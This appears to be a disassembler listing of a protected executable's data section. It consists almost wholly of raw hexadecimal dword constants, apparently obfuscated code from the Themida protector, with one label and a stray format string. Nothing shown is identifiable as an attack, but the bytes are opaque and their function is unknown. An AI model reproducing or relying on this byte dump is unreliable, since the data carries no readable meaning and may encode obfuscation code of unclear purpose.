		dd 0A87h, 5E900h, 75F20000h, 4B6B6289h,	7E946FCh, 7D000000h
		dd 8B1EBCDCh, 0DB0B023Dh, 0FF44850Fh, 8B60FFFFh, 4509458Dh
		dd 8E906h, 0FDB60000h, 893E590Ah, 0E9619F25h, 0Fh, 29D68356h
		dd 67BFBE0h, 29EEDD61h,	0CF4864A8h, 0DE9h, 0A6CCFD00h
		dd 9C77383Eh, 829ED717h, 0C9AEh, 8D8D01h, 645h,	0E98589FCh
		dd 6450Bh, 0BD8B6000h, 6450609h, 151ED081h, 615134h, 0EB816000h
		dd 270D644Fh, 0C95B589h, 8D610645h, 4539FB85h, 0B1BD3106h
		dd 89064502h, 452F3D85h, 858DF806h, 6453F05h, 0F58589F8h
		dd 0EB064509h, 14h, 3 dup(0)
		dd 8B00h, 0FD858D00h, 89064541h, 452A1985h, 3EBD8306h
		dd 64541h, 122840Fh, 85C60000h,	6451829h, 4B1D6856h, 3481D9D8h
		dd 0C7262424h, 85B5FF0Dh, 8D064509h, 4539FB85h,	89D0FF06h
		dd 45413285h, 2985C606h, 56064518h, 4E8h, 0A8B85200h, 448B509Ch
		dd 8B0424h, 4244489h, 85B5FF58h, 8D064509h, 4539FB85h
		dd 89D0FF06h, 45413685h, 68046A06h, 0ACD6C203h,	0FD240481h
		dd 8B53294Dh, 45414285h, 1F40506h, 0E0C10000h, 90509002h
		dd 95FF006Ah, 6454136h,	413A8589h, 0D88B0645h, 0FFFFFFB8h
		dd 1995FFFFh, 8B06452Ah, 1995FFC3h, 0E906452Ah,	84h
dword_542170	dd 413EBD83h, 0F000645h, 185h, 8B57C300h, 45413ABDh, 8583AB06h
					; DATA XREF: Themida_:0054098Co
		dd 645413Ah, 83C35F04h,	45413EBDh, 850F0006h, 1, 0AD8360C3h
		dd 645413Ah, 3A9D8B04h,	83064541h, 0FFFFC7Bh, 1D85h, 41FB6800h
		dd 3481613Eh, 3EC1FB24h, 0FF006A61h, 3295FF33h,	61064541h
		dd 1DE9C3h, 3D680000h, 81F92040h, 3FC32404h, 6A06E0h, 95FF33FFh
		dd 6454132h, 413AAD83h,	0E9040645h, 0FFFFFFB1h,	1ADE948h
		dd 8B600000h, 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h
		dd 2BBh, 0FD20200h, 585h, 46168A00h, 830FD212h,	0FFFFFFE2h
		dd 850FD202h, 5, 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h
		dd 585h, 46168A00h, 830FD212h, 12Ah, 850FD202h,	5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 0C013D212h, 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h
		dd 2, 0FFFF70E9h, 1B8FFh, 0D2020000h, 5850Fh, 168A0000h
		dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh
		dd 1BBC32Bh, 0F000000h,	3485h, 1B900h, 0D2020000h, 5850Fh
		dd 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h, 820FD212h
		dd 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh
		dd 46068A08h, 1B9E88Bh,	2000000h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C913h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFDE82h, 7D003DFFh, 830F0000h, 22h, 5003Dh, 0E820F00h
		dd 41000000h, 2BF78B56h, 5EA4F3F0h, 0FFFEB4E9h,	7FF883FFh
		dd 3870Fh, 0C1830000h, 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh
		dd 68AFFFFh, 0C0C93346h, 840F01E8h, 17h, 8B02D183h, 0F78B56E8h
		dd 0A4F3F02Bh, 1BB5Eh, 76E90000h, 2BFFFFFEh, 8928247Ch
		dd 611C247Ch, 0BA0008C2h, 929h,	9D3E9h,	870FAF00h, 6F560CB7h
		dd 0E34621EAh, 3AF34C68h, 412CF004h, 3DC269FCh,	354E3ADCh
		dd 1F8CB0F8h, 8729F251h, 631407BAh, 0B15133E2h,	3DE15D3Bh
		dd 2E67FF41h, 37C8199Fh, 394F27C8h, 1D8CB0AAh, 872AFD57h
		dd 7C141DBAh, 0B14E29FFh, 26FF4125h, 4569EB56h,	20842DFCh
		dd 745E27CCh, 8C2B1F8h,	873CE957h, 7D5B1BA3h, 0BF4E27FFh
		dd 63h dup(0)
		dd 870FAF00h, 735A06BEh, 0B15129F9h, 2EFD5638h,	424F356h
		dd 72D728FAh, 7B4F31CBh, 48DA3AAh, 0D56EF856h, 735A07A6h
		dd 0F80321E3h, 26EB0426h, 5769E051h, 37D03AEBh,	18207AC4h
		dd 1087A9DAh, 8762F94Bh, 755807A6h, 0F80322ECh,	3BF4043Ch
		dd 4969FF4Bh, 20CB24F7h, 7B4B74D0h, 1490E5EEh, 0D52FE84Bh
		dd 754D49A7h, 0E10334F8h, 3BF54B3Ah, 67FF45h, 48h dup(0)
		dd 870FAF00h, 79551BB0h, 0B65123E6h, 26E6043Bh,	4C69FE4Bh
		dd 30843AF3h, 354431CCh, 1F97AAECh, 0D23CBC5Ch,	745D07BDh
		dd 0FF4A66EAh, 3CFD5D68h, 5D3AB256h, 3FC13DE1h,	45275E87h
		dd 283A0E6h, 0D26EB05Dh, 7B5B05BDh, 0E54A66E9h,	26E04268h
		dd 4124B249h, 2BD626FFh, 71443589h, 287B7AAh, 0D33CFD4Ch
		dd 6F5B10F3h, 0E35366FFh, 28E04327h, 0BC49h, 61h dup(0)
		dd 0CE08AF00h, 79140CBFh, 0E45134E2h, 2DF75038h, 7069BC05h
		dd 72D720FAh, 724526D9h, 518FA4F8h, 873DFD50h, 74510CB1h
		dd 0FF422BADh, 25E75421h, 402CE645h, 36CA28B2h,	6C4B3989h
		dd 7CE8A0E8h, 0D469E851h, 7C5A00F3h, 0F45725E8h, 30F0042Ch
		dd 7269F304h, 21D13BFBh, 35583B89h, 1283B7E9h, 892AF953h
		dd 735C3DF3h, 0F84566FEh, 3EB24124h, 506EFC4Bh,	20CB3EB2h
		dd 7B4B74C2h, 38DA8F3h,	0B25Dh,	0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2CDDE9h, 33F38100h, 0FC26829Bh, 10459501h, 0C08B0645h
		dd 8E8h, 4CC4CE00h, 84C9A72Dh, 12E8AEh,	78800000h, 0D3233C30h
		dd 8B1A358Ch, 0A516DD59h, 78C25358h, 1E819D31h,	5B5B0645h
		dd 30A1BD83h, 75000645h, 0BDBD8309h, 64504h, 53501374h
		dd 1B8C08Bh, 8D000000h,	47B40E9Dh, 5BD3FF06h, 0BDBD8358h
		dd 64504h, 53501174h, 1B8h, 0BF9D8D00h,	0FF0647B2h, 0E8585BD3h
		dd 10h,	0B598A60Eh, 4FA1E100h, 52D855DFh, 9B31FECBh, 31399D23h
		dd 295A0645h, 4525D9B5h, 499D8B06h, 8B064523h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0AE150C05h, 0BD84161Ah, 81958BA7h, 8306450Dh, 451585BDh
		dd 840F0006h, 1B9h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 59C35545h, 9F32B04Ch,	90BA66B9h, 3E5BD83h
		dd 0F000645h, 18884h, 0AD9D8900h, 60064532h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 4AC35545h, 4C91E2D6h
		dd 958989E8h, 645030Dh,	447CBB66h, 3E5858Bh, 9D890645h
		dd 645017Dh, 3E805h, 45952300h,	5006452Ah, 61B0B460h, 0FC240489h
		dd 4DF8858Dh, 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8099F4C3h, 8A90CEF3h, 0AE950D8h
		dd 70000000h, 7DF90D8Ah, 9DB42C51h, 852990EAh, 64503C9h
		dd 0B399589h, 858D0645h, 6454DD6h, 32E28166h, 666050D0h
		dd 568FB5BBh, 0AE8h, 70D4DC00h,	0F71B15A3h, 583C7276h
		dd 489615Ah, 15BA6624h,	95958BEBh, 0FF064518h, 45305595h
		dd 0ED958906h, 8306450Ah, 0BA660CC4h, 858D2204h, 6454DD6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0B6C35545h
		dd 1508EBFh, 66ABF06Ah,	0CB80D38Bh, 8E890F9h, 0D7000000h
		dd 0E1BA11CAh, 50F9119Bh, 0F525052h, 0F585A31h,	8A0F31h
		dd 5A000000h, 66505B58h, 8B90D08Bh, 6A026ADEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 4800C350h, 313610FEh, 45177995h, 65BD2906h, 0FF064509h
		dd 68857495h, 61D18B00h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 4C35545h, 985C7F8h, 106454Eh,	0E9000000h
		dd 0Fh,	7A1C2D6Bh, 0F5CB3FF7h, 36F20339h, 96970C1Fh, 0BE8h
		dd 0C0475100h, 46A6A4FDh, 6AD5164Dh, 11E8h, 9C965400h
		dd 0D554A104h, 2647C710h, 62F4B281h, 0DD8A57A8h, 66505A5Ah
		dd 6696DF8Bh, 0CDADC381h, 8E8h,	92B1500h, 34F7B93Eh, 0CB81662Fh
		dd 895A61BDh, 454DBAB5h, 3BEB8106h, 837A3D28h, 450025BDh
		dd 850F0106h, 3Bh, 83AD37BAh, 5F88306h,	2D850Fh, 97BB0000h
		dd 0B8780247h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 74C35141h
		dd 5DB9B478h, 834C65E5h, 450995BDh, 840F0006h, 17h, 23F99D01h
		dd 0B5890645h, 6451059h, 0B8h, 65B58900h, 6006450Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A8C35343h, 87324864h
		dd 0A98529F0h, 8B064510h, 452F5185h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 18468BA9h
		dd 50214F23h, 58D0Fh, 3EBA0000h, 5B2758FAh, 6A02C083h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0F24BC356h, 43B9E26Eh, 800FC9CBh,	8, 28C0Fh
		dd 5A570000h, 4DB28589h, 958B0645h, 645326Dh, 66E38166h
		dd 0FF00C696h, 182985C6h, 0F530645h, 589h, 0A3D1BA00h
		dd 4E87295h, 0D8000000h, 0BAFCB148h, 8B6A4EEh, 0DF8B6650h
		dd 424448Bh, 0BD25BA57h, 8B5A5A78h, 13E900h, 0EC480000h
		dd 7CE7DB37h, 6A85BF93h, 66DB989Ch, 7CC6A624h, 244489C0h
		dd 58F08A04h, 0FFD3F780h, 4509D5B5h, 0B9958906h, 8D064520h
		dd 4878B685h, 0D1BD2906h, 80064532h, 0D0FF9ECEh, 218589FCh
		dd 6A064531h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 87BDC353h, 0E4BB66C5h,	69BD8386h
		dd 1064524h, 0F4850Fh, 81660000h, 61B59DE2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F0C35747h, 0CEDA8078h
		dd 182985C6h, 0E9450645h, 0Bh, 142B4A4Fh, 9736FA0Ch, 68DB8A0Eh
		dd 0EA33715Bh, 3481FA8Ah, 53499924h, 29BD0130h,	0FF064513h
		dd 4509D5B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0A0C692E4h, 35958B96h, 8D064508h
		dd 4878B685h, 0DE806h, 52150000h, 66EF60C6h, 4A2A6800h
		dd 0E92215B8h, 13h, 93AA9A45h, 908B2CDh, 0C0930F4Dh, 0BE2F6E49h
		dd 5BCF6F56h, 0E428BA66h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8166CFC3h, 665970F3h
		dd 90D3CA81h, 7E8006Ah,	0
		dd 2E724824h, 950392CAh, 6453325h, 0FD0FF5Ah, 0BD83DAB7h
		dd 6451E65h, 0E9850F01h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6FAFC356h
		dd 1C91520Eh, 8B0E25BEh, 45180995h, 0D38B6606h,	2F51858Bh
		dd 8B560645h, 4506819Dh, 8FE95A06h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 5CC8C355h, 935F56Fh,	6D2025D0h, 6CE38166h, 7D9D8963h
		dd 9006452Ch, 8B0Fh, 51500000h,	5BD38B57h, 0BD31905Bh
		dd 645061Dh, 952B146Ah,	6450B1Dh, 312195FFh, 810F0645h
		dd 6, 7BD9D8Bh,	6A580645h, 3E85300h, 20000000h,	895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 4685C353h, 0C03821E2h
		dd 8D294EC4h, 645256Dh,	14F9BD89h, 38800645h, 98850F00h
		dd 8BFFFFFFh, 100C6DAh,	17A99D89h, 9D890645h, 6453151h
		dd 59950361h, 31064532h, 451FB585h, 99BD8306h, 64523h
		dd 6B840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0C968F5C3h, 0F2F51A17h, 6660BFE8h
		dd 6127C081h, 0B4D8D01h, 6A610645h, 56006AFFh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0C90C9991h
		dd 2B20B383h, 0BF0FD1EAh, 2195FFDEh, 0F8064531h, 0FFFFCAE9h
		dd 52BA66FFh, 9985C7EAh, 1064523h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 4AD5C352h, 64BB66D9h, 98B0FC6h, 0F000000h, 382h, 0D18B6600h
		dd 4DBE8589h, 0DE8B0645h, 50D88B66h, 9CB86660h,	4896193h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 870D8088h, 15952315h, 60064529h,	0C7AFEB81h
		dd 0B5894B3Ah, 6451745h, 14E9056Ah, 0E5000000h,	0F928F2Fh
		dd 411DECAEh, 82531856h, 0CFFC2211h, 8D40A73Eh,	454DD685h
		dd 999D3106h, 5006450Bh, 489DD8Ah, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 3DA0730Ah
		dd 0B51C7619h, 21358D89h, 858D0645h, 6454DC6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C6C35040h, 408E2FBEh
		dd 6690D08Bh, 501CBABBh, 3EBB5357h, 5B1AEF06h, 9D8B905Bh
		dd 6451DBDh, 30D195FFh,	810F0645h, 3, 8D54F380h, 457A988Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 74C00BE3h, 0D6858D11h, 5006454Dh, 8589D1FFh
		dd 6454DF4h, 85C70AEBh,	6454DF4h, 0FFFFFFFFh, 3870Fh, 0B70F0000h
		dd 29958BD1h, 61064513h, 11E8h,	66592200h, 0C41A24DAh
		dd 0C1D60BD8h, 0CE5E306Ah, 11E934D9h, 75000000h, 4A06F2B3h
		dd 25ECD6ACh, 89D24804h, 0A0B29521h, 2985C65Bh,	4D064518h
		dd 329DBD31h, 62680645h, 0E97D3C4Ah, 0Dh, 0DDDED395h, 8D726135h
		dd 0A11B6FA2h, 240481C1h, 26F92C46h, 25619D89h,	0B5FF0645h
		dd 64530B5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0F8C35747h, 4659501h, 858D0645h, 64878B6h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 93C35545h, 8B095046h
		dd 45312595h, 0B2D0FF06h, 0B18589DDh, 6A064507h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 1A24C352h, 0D60BD8C4h, 0E1BD01C1h, 0C6064529h, 45182985h
		dd 9CBA4506h, 0E84277A0h, 4, 8E726969h,	810F5750h, 2, 8B5A15B6h
		dd 0F042444h, 1181h, 0BB525000h, 3A176002h, 8D0F310Fh
		dd 0
		dd 8B585Ah, 4489D98Bh, 0E8570424h, 7, 0D342DD3h, 0F06AD73h
		dd 84h,	585A5A00h, 36C5D5BBh, 0D5B5FF1Bh, 80064509h, 858D8DCFh
		dd 64878B6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	16C35747h, 3A4CDB0Eh, 0FAA5A820h, 0CABB6653h, 0D0FF5BFCh
		dd 1E119533h, 85890645h, 645011Dh, 7E18BA66h, 9D8BD28Bh
		dd 6450D2Dh, 66D98C66h,	0F60B9DBBh, 840F04C1h, 1F0h, 0CE8h
		dd 416B5E00h, 0BC78AC94h, 90E9EC1Ah, 0B8F280FAh, 0BFE95Bh
		dd 81660000h, 8B8B12C3h, 4512E5B5h, 8D89F906h, 6451CFDh
		dd 1180C681h, 0D3810000h, 66F3EF12h, 169BD83h, 0F000645h
		dd 2D85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 89FCE0D4h, 4530D58Dh, 5FE906h, 0BA660000h
		dd 3E83DAFCh, 52840F00h, 66000000h, 6021B7BAh, 11D99D89h
		dd 146A0645h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	0EDC35040h, 76D44A1Eh, 0D19531E1h, 0FF064514h
		dd 45312195h, 959D8B06h, 6106452Bh, 30CD9D2Bh, 0ABE90645h
		dd 1FFFFFFh, 4522C19Dh,	106C706h, 89000000h, 45103595h
		dd 0BEBD8306h, 506454Dh, 10A850Fh, 840F0000h, 6, 590FC281h
		dd 0B58B2CE3h, 645011Dh, 0D09958Bh, 64B90645h, 0F000000h
		dd 0C8Ah, 6840F00h, 8B000000h, 4504B19Dh, 0E83E8006h, 4E840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 37E996C3h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 28A8C357h
		dd 0FFF1C0ABh, 20D19D8Bh, 9D8B0645h, 6450161h, 0C2057E80h
		dd 73840Fh, 0B3460000h,	850F49B4h, 0FFFFFF95h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 8EC35141h, 80F990A7h
		dd 49E9D2F7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 1D5AC356h, 3C70C6Fh
		dd 0B694D5E0h, 10E8B1h,	2E9E0000h, 2AE61B9Eh, 0EECDF718h
		dd 3E2A14D9h, 0EB810854h, 0A945A78h, 91B5895Ah,	0FC064502h
		dd 0CD8D8958h, 83064508h, 451C91BDh, 840F0006h,	0B7h, 58E0Fh
		dd 0F6BA0000h, 6019B3E6h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 29C35040h, 428C2A12h,	0B70F71DDh, 2985C6DFh
		dd 54064518h, 0DE953h, 0CD9E0000h, 0A5A3408Fh, 0EAF33E03h
		dd 5BCBB6E9h, 764FB268h, 665250B9h, 0F245CBAh, 5E931h
		dd 3CB70000h, 5A3D9EF8h, 24348158h, 4638F146h, 27BADC8Ah
		dd 0FF6585DDh, 4509D5B5h, 0B19D8B06h, 8D064514h, 4878B685h
		dd 0B1BA6606h, 9D0FF5Dh, 4502E19Dh, 9006A06h, 45023195h
		dd 91B5FF06h, 8A06451Ch, 0FD0FFD8h, 682h, 2D958B00h, 0F5064530h
		dd 6D958B61h, 0C7064530h, 45021585h, 106h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 79907E26h, 89CC7BE9h, 45050995h, 9D336006h, 6452B01h
		dd 4E8h, 8000h,	11880F00h, 0E9000000h, 0Ch, 940E593Ah
		dd 60C7E3B3h, 3DA751E6h, 5880F50h, 0BB000000h, 56493C9Eh
		dd 424448Bh, 8BA9B2h, 20850Fh, 0E8600000h, 12h,	4124B4Dh
		dd 11236CFh, 8F9BC7D4h,	105B094Eh, 505AE32Dh, 5A310F52h
		dd 44896158h, 0FA8A0424h, 0BD958B58h, 6A064532h, 9E8FFh
		dd 11E80000h, 0ED2268C8h, 663A3B77h, 0FF5ADF8Bh, 45328D95h
		dd 599D8B06h, 61064531h, 4919589h, 0F900645h, 1B89h, 13E85300h
		dd 58000000h, 19B67732h, 31E521F9h, 0FED8A50h, 0F472BE33h
		dd 5A5BD0A2h, 90E9B350h, 0BE8h,	9F4E8D00h, 9B7CAFE5h, 0DAC0EE22h
		dd 10E9h, 0E64B9100h, 98090D9Ah, 0C1A589BEh, 7F16D7DFh
		dd 858B5B89h, 645098Dh,	0C00BD38Bh, 31840Fh, 0CE800000h
		dd 195FFA1h, 6A064503h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 12E3C351h, 0B8806DCCh
		dd 3195898Bh, 0C7064520h, 4524D585h, 106h, 0F99D2300h
		dd 8306450Dh, 450B71BDh, 840F0006h, 12h, 2C98D01h, 95FF0645h
		dd 64508A5h, 2F8D9523h,	0BD830645h, 64520F1h, 32840F00h
		dd 31000000h, 45249D9Dh, 959D3306h, 0FF064521h,	4513A195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0F8031F13h, 7DBD838Fh, 64510h, 21840Fh
		dd 69BB0000h, 837DACDFh, 451569BDh, 850F0006h, 0Fh, 9654BB66h
		dd 13195FFh, 0ADBA0645h, 832B6697h, 45226DBDh, 840F0006h
		dd 28h,	81D0BF0Fh, 4512FD85h, 400306h, 0BE900h,	24860000h
		dd 1493A346h, 85619E54h, 4185815Ch, 306452Ch, 0F5000040h
		dd 830F310Fh, 2, 8D8DB2B2h, 6455D18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0F3C35646h,	689B1260h, 0CE9F8FFh
		dd 8F000000h, 7662828Ah, 0FED33537h, 89E9E589h,	6BEA8101h
		dd 333C1847h, 52006AC2h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8D0187A6h, 645205Dh, 13E8h, 91EDEC00h
		dd 90DDDB05h, 7FCCC44Eh, 83E8F6AFh, 6B18FE80h, 38F0Fh
		dd 8B660000h, 41895BD9h, 5E904h, 0FA3F0000h, 66DF3467h
		dd 0F820ABAh, 56006A31h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0A8B6B44Fh, 719D896Bh, 0F064509h
		dd 0C8Ch, 6820F00h, 2B000000h, 45011995h, 328D8D06h, 8B06455Dh
		dd 8B0189D9h, 45171595h, 0FC23306h, 281h, 89FD8A00h, 8A0F0441h
		dd 6, 2EB19D0Bh, 0BD830645h, 6452379h, 69840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E81BC356h, 0Bh, 6421D6ABh, 0DBAFDA73h, 668D4F3Fh
		dd 0FF5AD18Bh, 45097D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FCBD2E0Fh
		dd 0FE9h, 0A5756600h, 37E36325h, 0F0B3D3F8h, 5CA552FAh
		dd 795BD83h, 0F010645h,	7285h, 0F9BD0100h, 0E9064508h
		dd 67h,	8D9D23h, 0F3810645h, 4E2BA2D8h,	5ECCB58Bh, 6C70645h
		dd 0
		dd 5C7CB58Bh, 6C70645h,	0
		dd 55006ACFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 918D89BDh, 6A064522h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 531CC355h
		dd 83D40BA6h, 4524D5BDh, 840F0006h, 148h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 0B4C35141h, 10C4120Bh
		dd 0BA51175Ch, 3782E179h, 85BD835Bh, 106450Dh, 0FF850Fh
		dd 0BD890000h, 6451CA1h, 4DB28D8Bh, 0CE90645h, 48000000h
		dd 69D2E82Fh, 0A3CB0D7Ch, 0C6520F86h, 85890001h, 6450BDDh
		dd 1FA1B589h, 6A600645h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 8D06C350h, 0B589EB6Eh
		dd 6452CE5h, 925958Bh, 0A7680645h, 0B3A7CD2Bh, 24048100h
		dd 5832D4D9h, 0BE9h, 0E420F00h,	0D681624Fh, 0B068F62Fh
		dd 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 9D7AC3h, 8D89E039h, 6451511h, 9919523h, 95FF0645h
		dd 645328Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0B5C35545h, 27B2E36Eh, 0FF7BB361h, 45330995h, 0EE906h
		dd 47060000h, 744FB07Fh, 8CA8019Eh, 4C069C78h, 4DB28D8Bh
		dd 8B600645h, 45236585h, 2D858B06h, 61064515h, 8B6601FEh
		dd 55BD83DAh, 1064501h,	6850Fh,	95890000h, 6451341h, 0BD89C08Bh
		dd 64532F5h, 30A1BD83h,	75000645h, 0BDBD8309h, 64504h
		dd 53501A74h, 858BC08Bh, 64512FDh, 12FD8589h, 9D8D0645h
		dd 647B56Ch, 585BD3FFh,	4BDBD83h, 74000645h, 8B535018h
		dd 4512FD85h, 0FD858906h, 8D064512h, 47B25B9Dh,	5BD3FF06h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 2F99F22Ch, 4D9D0Bh, 0C08B0645h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 48C35242h, 1EB98D89h
		dd 9D230645h, 6452F21h,	24D5BD83h, 0F000645h, 3585h, 0B18D0900h
		dd 8306452Ch, 450181BDh, 840F0006h, 22h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 16C35545h, 2445B589h
		dd 0BD830645h, 64524D5h, 39840F00h, 89000000h, 45076585h
		dd 2DBD8306h, 64513h, 26840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0A5FB6AC3h
		dd 0F129392Bh, 0F864BB66h, 24D5BD83h, 0F000645h, 3684h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8166120Eh, 569D37DAh, 5BD8B70Fh,	132DBD83h
		dd 0F000645h, 284h, 8301B300h, 4524D5BDh, 840F0006h, 53h
		dd 30019501h, 89560645h, 45312DBDh, 0BD835B06h,	6453129h
		dd 38840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 89A4C350h, 452641BDh
		dd 11E906h, 898F0000h, 0C79601C4h, 0C65EB8BDh, 3719E64h
		dd 8308D9EAh, 4524D5BDh, 840F0006h, 4Dh, 15199D0Bh, 0BD830645h
		dd 6452865h, 3A840F00h,	60000000h, 6CDB7CB8h, 95FF6111h
		dd 6450049h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	59C35545h, 0E6A1A6h, 725CFDE8h,	5959529h, 0B70F0645h
		dd 6AC08BD3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E90FC355h, 14h, 5B6ABA80h, 9907CFBBh
		dd 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 30A1BD83h,	75000645h
		dd 0BDBD8309h, 64504h, 53501A74h, 858BC08Bh, 6452C41h
		dd 2C418589h, 9D8D0645h, 647B5D3h, 585BD3FFh, 4BDBD83h
		dd 74000645h, 8B535018h, 452C4185h, 41858906h, 8D06452Ch
		dd 47B2749Dh, 5BD3FF06h, 0DA816658h, 0EB81BAC4h, 27C57C55h
		dd 15D9533h, 0C08B0645h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 94C35141h, 999C219Eh,	25BA66A1h, 0D5BD83ABh
		dd 64524h, 400840Fh, 0D2800000h, 69BD8301h, 2064524h, 1A840Fh
		dd 9D290000h, 645236Dh,	0A218BA66h, 795BD83h, 0F010645h
		dd 385h, 18CF8000h, 3339BD83h, 0F000645h, 9884h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 8975F290h, 5C556B62h, 0EE8h,	717DD900h, 3DD97920h, 38B3FB58h
		dd 8B328312h, 4520B19Dh, 0F9605B06h, 4DB28D8Bh,	81660645h
		dd 0FED603C3h, 68DF8B01h, 0BBBD98DEh, 2810Fh, 0AEB20000h
		dd 0A2240481h, 29444267h, 451CCD85h, 60FF6A06h,	0FD68B66h
		dd 68Fh, 0F9BD2900h, 61064509h,	328D95FFh, 958B0645h, 6450BA1h
		dd 0BD236061h, 6452849h, 89BD8952h, 5906451Ch, 8D896061h
